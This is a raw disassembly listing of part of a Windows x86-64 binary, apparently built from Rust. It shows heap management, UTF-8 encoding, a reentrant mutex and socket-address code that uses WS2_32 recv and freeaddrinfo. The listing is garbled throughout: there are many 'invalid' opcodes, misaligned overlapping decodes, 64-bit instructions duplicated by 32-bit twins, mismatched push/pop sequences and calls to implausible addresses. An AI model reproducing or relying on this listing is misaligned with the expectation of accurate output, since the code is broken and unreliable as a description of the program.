mov eax, 0x18
add byte [rax], al
add byte [rcx], dh
sar bh, cl
adc eax, 0x30dc5
add eax, dword [rax]
add eax, dword [rax]
test eax, eax
sal byte [rsi + rdx + 0x48], 0x89
cmp byte [rax - 0x77], cl
invalid
invalid
jo 0x140137287
pop rax
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
add rsp, 0x38
pop rbx
pop rdi
add esp, 0x38
jge 0x14013728a
clc
mov qword [rbp - 0x10], rsi
jne case.0x140130eaa.453
mov ecx, 8
or byte [rax], al
add byte [rax], al
jne case.0x140130eaa.453
invalid
or byte [rax], al
add byte [rax], al
mov edx, 0x18
add byte [rax], al
add al, ch
add byte [rax], al
call fcn.14015d7f0
add al, byte gs:[rax]
add al, byte gs:[rax]
ud2
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
push rsp
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
clc
mov rdx, qword [rbp - 0x10]
call fcn.1401372e0
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
invalid
invalid
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x18], rdx
call qword [rdx]
call 0xcb5b85fd
call 0x1488bf64c
invalid
invalid
js case.0x1401327c8.381
invalid
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
or byte [rax], al
add byte [rbp + rcx + 0x48], dh
cmp dword [rax + 0x10], 0x11
adc byte [rcx], dl
je 0x140137314
cmp qword [rax + 0x10], 0x11
adc byte [rcx], dl
adc dword [rbx + 0xc], esi
jae case.0x1401327c8.383
mov r8, qword [rbp - 0x10]
invalid
jmp 0x140137322
add rsp, 0x40
add esp, 0x40
pop rbp
ret
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
invalid
mov eax, dword [rax - 8]
clc
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
loopne case.0x140130f48.456
or eax, 0x48d23100
add esp, 0x40
invalid
invalid
xor edx, edx
add rsp, 0x40
invalid
invalid
ror byte [rax - 0x7d], cl
invalid
pop rbp
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
or al, 3
add byte [rsi + 0xf], ah
invalid
invalid
add eax, dword [rax]
nop word [rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
and byte [rax - 0x73], cl
push 0x40
invalid
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x18]
call 0x14863fe9e
call 0x14863fe9e
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
mov r8, qword [rax + 0x10]
invalid
invalid
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
adc byte [rax - 0x75], cl
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
call fcn.14012dad0
nop
insd dword [rdi], dx
invalid
call qword [rax + 0x20c48348]
add rsp, 0x20
invalid
pop rbp
ret
int3
sub rsp, 0x28
mov rcx, qword [rcx]
mov eax, ecx
and eax, 3
add ecx, dword [rax - 0x73]
lea rdx, [0x14020bc38]
adc eax, 0xd48b5
add byte [rax + 0x63], cl
movsxd rax, dword [rdx + rax*4]
add al, 0x82
add rax, rdx
jmp rax
sar bh, 1
loopne case.0x1401357e1.270
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
add rsp, 0x28
ret
mov rax, qword [rcx - 1]
dec dword [r8 - 0x75]
push rcx
invalid
mov rdx, qword [rcx + 7]
mov rcx, rax
mov ecx, eax
mov ecx, eax
call qword [rdx + 0x40]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
ret
shr rcx, 0x20
call fcn.14012f020
invalid
jl 0x1401373b3
invalid
invalid
invalid
shr rcx, 0x20
add ecx, eax
xor eax, eax
mov al, 1
jmp 0x1401373b5
mov al, 2
jmp 0x1401373b5
invalid
mov al, 4
jmp 0x1401373b5
invalid
mov al, 5
jmp 0x1401373b5
lodsb al, byte [rsi]
mov al, 7
jmp 0x1401373b5
mov al, 8
jmp 0x1401373b5
mov al, 9
jmp 0x1401373b5
pushfq
mov al, 0xb
jmp 0x1401373b5
xchg esp, eax
mov al, 0xc
jmp 0x1401373b5
nop
mov al, 0xd
jmp 0x1401373b5
invalid
mov byte [rax - 0x4f7b14f1], dh
adc bl, ch
xor byte [rax - 0x8616ef], 0xff
invalid
push qword [rax - 0x8d16ee]
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
and al, 0xe9
xor byte [rax + 0x28c48348], dl
int3
push rdi
push r14
push r13
push 0x48d78949
mov edx, dword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
invalid
and al, 0xd8
add byte [rax], al
mov ah, 0x24
rol byte [rax], 1
add byte [rsi - 0x39], ah
add al, byte [rax]
add byte [rax], al
cmp r14, 1
cmp esi, 1
cmp esi, 1
add byte [rdi + rcx + 0x44], cl
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
invalid
pop qword [rcx]
add byte [rax], al
test byte [rdi + 0x48000001], cl
mov dword [rsp + 0x40], ecx
and al, 0x40
and al, 0x40
mov qword [rsp + 0x38], r9
cmp byte [rbp + 0x39], cl
invalid
add byte [rax], al
add byte [rcx + 0x29], cl
out dx, al
mov dword [rsp + 0x48], eax
push 0x3705280f
invalid
add byte [rdi], cl
sub dword [rsp + 0x50], eax
and al, 0x50
and al, 0x34
add byte [rax], al
add byte [rax], al
or eax, dword [rbx]
add byte [rsi - 0x70], ah
nop
mov dword [rsp + 0x20], esi
mov eax, esi
mov ecx, ebp
test byte [rcx - 0x75000000], dh
add byte [rbx - 0x7acbdbbc], cl
sal byte [rbp + 0x18], 0xe8
jne 0x14013763f
invalid
and al, 0x34
and al, 0x34
in al, 0x49
add al, byte [rax]
jrcxz 0x140137632
add eax, dword [rax]
add byte [rbp + rcx*8 - 0x75], dh
mov eax, dword [rsp + 0x34]
and al, 0x34
xor al, 0x85
ror byte [rdi], 0x84
invalid
scasb al, byte [rdi]
test byte [rsi - 0x77000000], ch
ret 0x8d48
invalid
invalid
add byte [rax], al
add byte [rcx], dh
leave
cmp dword [r12 + rdx*2 - 2], 0x1a
cmp dword [rsp + rdx*2 - 2], 0x1a
sbb cl, byte [rdi]
add eax, ebp
and al, 0x48
and al, 0x48
xchg ebx, eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
dec qword [rax + 0x39]
dec dword [rax + 0x39]
dec dword [rax + 0x39]
cmp ecx, edx
add byte [rax], al
add byte [rcx + 0xf], al
clc
add al, bl
invalid
fadd dword [rax]
add byte [rbp + 0x6f], dh
jne 0x140137704
add byte [rax], al
test byte [rax + rbx*8], ah
and al, 0xd8
add byte [rax], al
add byte [rsi - 0x77], ah
pop rdi
and al, 0x40
mov dword [rsp + 0x38], ecx
and al, 0x38
invalid
or al, 0xff
invalid
lea eax, [0x1401dcf80]
mov edi, 0x4c000a58
or al, byte [rax]
mov ecx, esi
push rsp
and al, 0x38
invalid
cmp al, ch
jb case.0x140130f48.496
cwde
cwde
add al, byte [rax]
invalid
add byte [rdi], cl
add al, byte [r8]
enter 0x4802, 0xffffffffffffff8b
and al, 0x40
and al, 0x40
and al, 0x40
or byte [r8 + 1], dil
or byte [rax + 1], bh
add dword [rax], eax
add byte [rax], al
invalid
and dh, byte [rcx]
ror byte [rax + 1], 0xe8
mov edx, dword [rsp + 0x38]
and al, 0x38
ror byte [rax - 0x75], 0x4c
and al, 0x40
mov dword [rcx + 8], eax
ror byte [rax - 0x77], 1
add dword [rax - 0x7d], ecx
invalid
push 0x5e5f5d5b
pop rsi
xchg byte [rax + 0xa], bl
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
int3
int3
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
and al, 0x50
mov qword [rbp], 0xfffffffffffffffe
invalid
test r8, r8
je case.0x140136732.184
test byte [rbp + 2], ch
add byte [rax], al
test byte [rbp + 2], ch
add byte [rax], al
mov rsi, r8
invalid
mov rdi, rdx
mov rbx, rcx
lea r14, [rbp - 0x28]
lea r13, [0x14020bcec]
lea ebp, [0x14020bcec]
push rdx
invalid
invalid
invalid
push rdx
or eax, 0x4c3deb00
add bl, ch
invalid
invalid
jmp fcn.1401377d9
mov eax, dword [rbp - 8]
add byte [rax - 0x75], cl
or eax, 0xddba6
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_HeapFree]
or byte [rbx], al
invalid
invalid
sub ecx, ebp
jp 0x1401378d8
push qword [rax - 0xf516f0]
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
xor r12d, r12d
mov rax, r12
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov eax, esp
pop rsp
pop rsi
and eax, 0xa6297
or al, byte [rax]
out 0x3e, al
or al, byte [rax]
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x50
sub byte [rax - 0x73], cl
push 0x50
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
invalid
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.14012dad0
mov rcx, qword [rbp - 0x18]
call 0x1403f844e
invalid
invalid
call 0x1403f844e
or dword [rax + rax], ebp
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
sub esp, 0x88
sub esp, 0x88
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
test r8, r8
je 0x140137df9
test byte [rbp + 3], cl
add eax, dword [rax]
invalid
dec dword [rbp - 0x7b]
ror byte [rdi], 0x84
test byte [rbp + 3], cl
add eax, dword [rax]
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x3a], cl
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov rdi, rcx
mov rax, r8
ror byte [rax - 0x3f], 0xe0
add al, 0x31
xor edx, edx
ror byte [rax - 0x3f], 0xe0
add al, 0x31
xor edx, edx
xor ecx, ecx
xor ecx, ecx
cmp dword [rbx + rdx], 0
jne 0x140137ad2
invalid
or al, 0x48
inc ecx
add rdx, 0x10
add edx, 0x10
adc byte [rax + 0x39], cl
sal byte [rbp - 0x12], 1
out dx, al
adc byte [rax + 0x39], cl
sal byte [rbp - 0x12], 1
out dx, al
cmp rsi, rcx
cmp esi, ecx
cmp esi, ecx
jb 0x140137e1c
add byte [rax + 0x29], cl
invalid
add eax, dword [rax]
add byte [rax - 0x3f], cl
loope 0x140137aec
add rbx, rcx
lea r12, [0x140204680]
and eax, 0xccb8e
retf
or al, 0
lea r14, [rbp - 0x28]
jne 0x140137ace
retf
lea r13, [0x14020bda0]
jmp fcn.140137b38
mov eax, dword [rax - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add eax, dword [rax]
fmul dword [0x13fe5ac11]
adc eax, 0x30512
invalid
invalid
add eax, dword [rax]
adc al, byte [0xcb5b7b1b]
or eax, 0xdd843
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_HeapFree]
inc dword [rbx + rax]
invalid
mov rdx, rbx
mov rbx, rdx
test rsi, rsi
je 0x140137df9
test cl, al
add al, byte [rax]
invalid
add bl, ch
xor eax, 0x2412e8c1
and al, 7
and al, 7
or al, 0xf0
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and eax, 0xe8c1d089
invalid
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
mov r8d, 4
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x24
and eax, 0xe8c1d089
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x24
call fcn.140138350
nop
add rsp, 0x28
ret
sub esp, 0x28
mov r8, rdx
mov qword [rsp + 0x20], rcx
lea rdx, [0x1401daab8]
lea rcx, [rsp + 0x20]
call fcn.140059e20
nop
add rsp, 0x28
ret
or byte [rax - 0x76dadbbc], 0xd0
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
mov r8d, 4
lea rdx, [rsp + 0x24]
call fcn.140138350
nop
add rsp, 0x28
ret
push rbp
sub rsp, 0x30
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rcx, qword [rbp - 0x18]
call fcn.14012dcd0
nop
add rsp, 0x30
pop rbp
ret
int3
mov esi, dword [rcx]
mov rax, qword [rsi + 0x18]
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax - 0x75], cl
or al, 0xca
lea rcx, [rcx + 0x51]
cmp rax, rcx
jne 0x140138957
mov eax, dword [rsi + 0x20]
inc eax
je 0x14013898f
invalid
cmp eax, 0xeb204689
invalid
mov dword [rsi + 0x20], eax
jmp 0x140138986
lea rcx, [rsi + 0x10]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x51]
mov qword [rsi + 0x18], rax
mov dword [rsi + 0x20], 1
mov rax, rsi
add rsp, 0x20
pop rsi
ret
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1401dbd38]
mov edx, 0x26
call fcn.140161290
ud2
push 0x246c8d48
invalid
call 0x1881389f4
mov esi, ecx
mov qword [rax], 0xffffffffffffffff
mov qword [rbp - 0x10], rax
invalid
lea rcx, [rax + 8]
call fcn.14012fa30
invalid
test rax, rax
je 0x140138a2b
sbb cl, byte [rax - 0x77]
ror dword [rax - 0x3f], 0xe9
and byte [rbx + 0xe7506f9], al
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
inc qword [rax]
xor eax, eax
shr cl, 0x9b
add byte [rax], al
invalid
shr cl, 0x9b
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rbp - 0x10]
inc qword [rcx]
mov ecx, dword [rbp - 0x10]
inc qword [rcx]
mov r8, qword [rsi + 8]
test r8, r8
je 0x140138ace
mov ecx, r8d
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140138ace
test rcx, rcx
je 0x140138ace
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x10], rsi
lea rax, [r8 - 1]
mov qword [rbp - 0x28], rax
mov rcx, qword [r8 - 1]
mov rax, qword [r8 + 7]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rax
call qword [rax]
mov rax, qword [rbp - 0x20]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x10]
je 0x140138ab7
mov cl, 0xc8
or eax, 0xffd23100
adc eax, 0x2f571
add byte [rax - 0x75], cl
or eax, 0xdc8a2
add byte [rax - 0x75], cl
or eax, 0xdc8a2
xor edx, edx
mov r8, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp - 0x30]
mov qword [rsi + 8], rax
mov al, 1
add rsp, 0x68
pop rsi
pop rbp
ret
mov edx, reloc.WS2_32.dll_recv
call fcn.140161200
ud2
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
mov r8d, 3
jmp 0x140138c1d
call 0x14c1ab000
invalid
and al, 0x24
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
mov r8d, 4
lea rdx, [rsp + 0x24]
call fcn.1401389d0
nop
add rsp, 0x28
ret
or byte [rax], al
add byte [rbx + 0x1b], dh
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x24], al
and al, 0x24
and al, 0x24
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x25], dl
mov r8d, 2
jmp 0x140138d20
call 0xc8f398d5
and al, 0x24
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
jmp 0x140138d20
lea rdx, [rsp + 0x24]
call fcn.1401389d0
nop
add rsp, 0x28
ret
mov eax, 1
jmp 0x140139477
invalid
invalid
invalid
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
add rsp, 0x1e0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
ret
invalid
mov rcx, rsi
mov rdx, r14
mov edx, esi
mov r8, rbx
mov eax, ebx
mov r9d, edi
add rsp, 0x1e0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp 0x140166a90
invalid
invalid
add al, byte [rax]
invalid
int3
sub esp, 0x88
in al, dx
mov byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp - 0x10], xmm7
movdqa xmmword [rbp - 0x20], xmm6
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov rsi, rcx
mov rcx, qword [rdx]
mov rax, qword [rdx + 8]
test rax, rax
invalid
je case.0x1401327c8.468
movzx r12d, word [rdx + 0x10]
nop word cs:[rax + rax]
mov r8, qword [rax + 0x20]
mov r15, qword [rax + 0x28]
sub byte [rcx + 0xf], al
mov bh, reloc.WS2_32.dll_recv
cmp edx, 0x17
je 0x14013957c
cmp edx, 2
je 0x140139542
mov rax, r15
test r15, r15
push qword [rbp - 0x1e]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 4
xor edi, edi
xor ecx, ecx
jmp fcn.14013975e
invalid
mov qword [rbp - 0x38], rcx
cmp qword [rax + 0x10], 0x10
cmp dword [rax + 0x10], 0x10
jb 0x1401397d9
mov ebx, dword [r8 + 4]
mov eax, ebx
shr eax, 0x10
movd xmm6, eax
movd mm6, eax
invalid
pinsrw xmm6, r12d, 1
xor r13d, r13d
movzx eax, byte [0x1402153f8]
mov esi, 0x8b48000d
or eax, 0xdbdeb
invalid
invalid
invalid
test rcx, rcx
jne 0x1401395cf
jmp case.0x140131419.505
mov qword [rbp - 0x38], rcx
cmp qword [rax + 0x10], 0x1c
jb 0x1401397f7
movdqu xmm6, xmmword [r8 + 8]
mov r14d, dword [r8 + 4]
mov edi, dword [r8 + 0x18]
pshufd xmm7, xmm6, 0xf9
pshufw mm7, mm6, 0xf9
mov r13w, 1
add dword [rax], eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
or eax, 0xc9854800
or eax, 0xd8b4800
scasd eax, dword [rdi]
mov ebp, 0x8548000d
or eax, 0xc9854800
or eax, 0xc9854800
test ecx, ecx
jne 0x1401395cf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140139790
test bl, cl
add dword [rax], eax
invalid
invalid
test bl, cl
add dword [rax], eax
add byte [rax - 0x77], cl
mov rcx, rax
mov qword [0x140215360], rax
invalid
ror dword [rax - 0x77], 5
xchg ecx, eax
mov ebp, 0xb841000d
add byte [rcx - 0x48], al
add byte [rcx - 0x48], al
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rax], 0
add byte [rcx], dh
sar bh, cl
adc eax, 0x2ea5b
test rax, rax
je 0x140139790
mov word [rax], r13w
mov word [rax + 2], bx
movd dword [rax + 4], xmm6
movq qword [rax + 8], xmm7
invalid
js 0x140139600
pshufd xmm0, xmm7, 0xee
invalid
out dx, al
movd dword [rax + 0x10], xmm0
mov dword [rax + 0x14], r14d
mov dword [rax + 0x18], edi
mov word [rax + 0x1c], r12w
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x58], eax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x48], 1
mov edi, 1
lea rcx, [rbp - 0x58]
test al, 0xeb
push rbx
mov eax, dword [rbp - 0x58]
test al, 0x48
test al, 0x48
mov ecx, dword [rbp - 0x50]
jne 0x140139758
mov byte [rbp - 0x29], 1
mov ecx, 4
mov edx, 0x80
call fcn.14015d7f0
jmp case.0x140135ac3.267
mov byte [rbp - 0x29], 1
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___library_std_src_sys_common_net.rs
lea r8, [0x1401dd580]
mov edx, 0x42
add byte [rax], al
call fcn.140160fb0
jmp case.0x140135ac3.267
mov byte [rbp - 0x29], 1
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
lea ecx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
add byte [rbp + rcx*4 + 5], cl
xlatb
cmp eax, 0x43ba000a
add byte [rax], al
add al, ch
popfq
ja 0x140139814
add al, byte [rax]
add al, ch
popfq
ja 0x140139814
invalid
push rdi
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], al
movdqa xmmword [rsp + 0x20], xmm7
movdqa xmmword [rsp + 0x30], xmm6
mov rcx, qword [rbp - 0x38]
call sub.WS2_32.dll_freeaddrinfo
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
invalid
mov al, 0xe8
and ah, byte [rcx + 0x45c6ffed]
xlatb
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
je 0x14013988b
call fcn.140013980
mov byte [rbp - 0x29], 0
movdqa xmm6, xmmword [rsp + 0x30]
movdqa xmm7, xmmword [rsp + 0x20]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
xor byte [rsi + 0xf], ah
outsd dx, dword [rsi]
jl 0x140139891
and byte [rax - 0x7d], cl
invalid
pop rbp
ret
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], al
movdqa xmmword [rsp + 0x20], xmm7
movdqa xmmword [rsp + 0x30], xmm6
xor byte [rax + 0x7400d77d], al
invalid
mov rcx, qword [rbp - 0x38]
call sub.WS2_32.dll_freeaddrinfo
add byte [rax], al
enter 0x29e8, 0
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x20]
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rbp
ret
int3
add ah, cl
int3
mov edi, dword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x140139949
add byte [rax - 0x77], cl
invalid
clc
add dword [rax], eax
add byte [rdi + 0x5e], bl
pop r9
xchg byte [rax], bh
invalid
xor al, 0x4c
lea ebx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
invalid
add byte [rax - 0x77], cl
enter 0xfffffffffffff749, 0xffffffffffffffe1
add byte [rax], al
or al, 0x2e
add eax, 0xfffffffe
cdq
hlt
call qword [rax - 0x4f3b7eb8]
add byte [rax], al
int3
add byte [rax], al
mov rsi, rdx
mov rdi, rcx
lea rcx, [rsp + 0x78]
mov rdx, rdi
mov r8, rsi
call fcn.140132050
movzx edx, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x98]
lea r8, [0x14020be54]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
add ecx, edx
add byte [rax], al
mov edx, esi
enter 0x2eb, 0x31
ror byte [rax - 0x77], 0x7c
and al, 0x28
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rax + 2], 0xbd
mov word [rax], 0xbfef
add r12, 3
mov qword [rbp - 8], r12
mov r13, r14
add r13, 3
cmp r13, rsi
ja 0x14013aadd
je 0x14013aa7d
lea r9, [rbx + r13]
mov r14, r13
mov qword [rbp - 0x30], r9
jmp 0x14013a95f
add r9, 2
cmp rax, r15
cmovne rax, r9
mov r8d, 2
nop word [rax + rax]
add r14, r8
mov r9, rax
cmp rax, r15
je 0x14013aa80
lea rax, [r9 + 1]
movzx edx, byte [r9]
mov r8d, 1
test dl, dl
jns 0x14013a950
cmp dl, 0xe0
jb 0x14013a939
cmp dl, 0xed
jne 0x14013a9a7
cmp rax, r15
je 0x14013aa80
lea rax, [r9 + 2]
cmp rax, r15
je 0x14013aa80
cmp byte [r9 + 1], 0x9f
ja 0x14013a9de
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x14013a950
add r9, 2
cmp rax, r15
cmove r9, rax
xor eax, eax
cmp r9, r15
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x14013a950
xor edx, edx
cmp rax, r15
setne dl
add rax, rdx
mov r8d, 4
jmp 0x14013a950
mov r8, r14
sub r8, r13
jb 0x14013ab20
cmp r14, rsi
ja 0x14013ab0c
mov rdx, qword [rbp - 0x10]
mov rax, rdx
sub rax, r12
cmp rax, r8
jae 0x14013aa25
mov rcx, r10
mov rdx, r12
mov r13, r8
call fcn.140166600
mov r12, qword [rbp - 8]
mov rcx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov r8, r13
jmp 0x14013aa29
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x28], rcx
add rcx, r12
mov rdx, qword [rbp - 0x30]
mov r13, r8
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rbp - 8], r12
mov rax, qword [rbp - 0x20]
sub rax, r12
cmp rax, 2
ja 0x14013aa6c
mov r8d, 3
lea rcx, [rbp - 0x18]
mov rdx, r12
call fcn.140166600
mov rcx, qword [rbp - 0x18]
mov r12, qword [rbp - 8]
jmp 0x14013aa70
mov rcx, qword [rbp - 0x28]
lea r10, [rbp - 0x18]
lea rax, [rcx + r12]
jmp 0x14013a905
mov r13, rsi
sub rsi, r13
mov rax, qword [rbp - 0x10]
sub rax, r12
cmp rax, rsi
jae 0x14013aaa6
lea rcx, [rbp - 0x18]
mov rdx, r12
mov r8, rsi
call fcn.140166600
mov rcx, qword [rbp - 0x18]
mov r12, qword [rbp - 8]
add rbx, r13
add rcx, r12
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add r12, rsi
mov qword [rbp - 8], r12
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r12
jmp 0x14013a84c
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r13
mov rdx, rsi
call fcn.140160e60
jmp 0x14013ab32
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r14
mov rdx, rsi
call fcn.140160f40
jmp 0x14013ab32
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r13
mov rdx, r14
call fcn.140161190
ud2
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jmp fcn.14013cbc4
xor eax, 0xf41f3f0
outsd dx, dword [rsi]
or al, 6
pcmpeqb xmm0, xmm6
pcmpeqb xmm1, xmm7
pand xmm1, xmm0
pmovmskb r8d, xmm1
test r8d, r8d
jne 0x14013cd71
and r15b, 1
jmp 0x14013cc61
mov eax, r15d
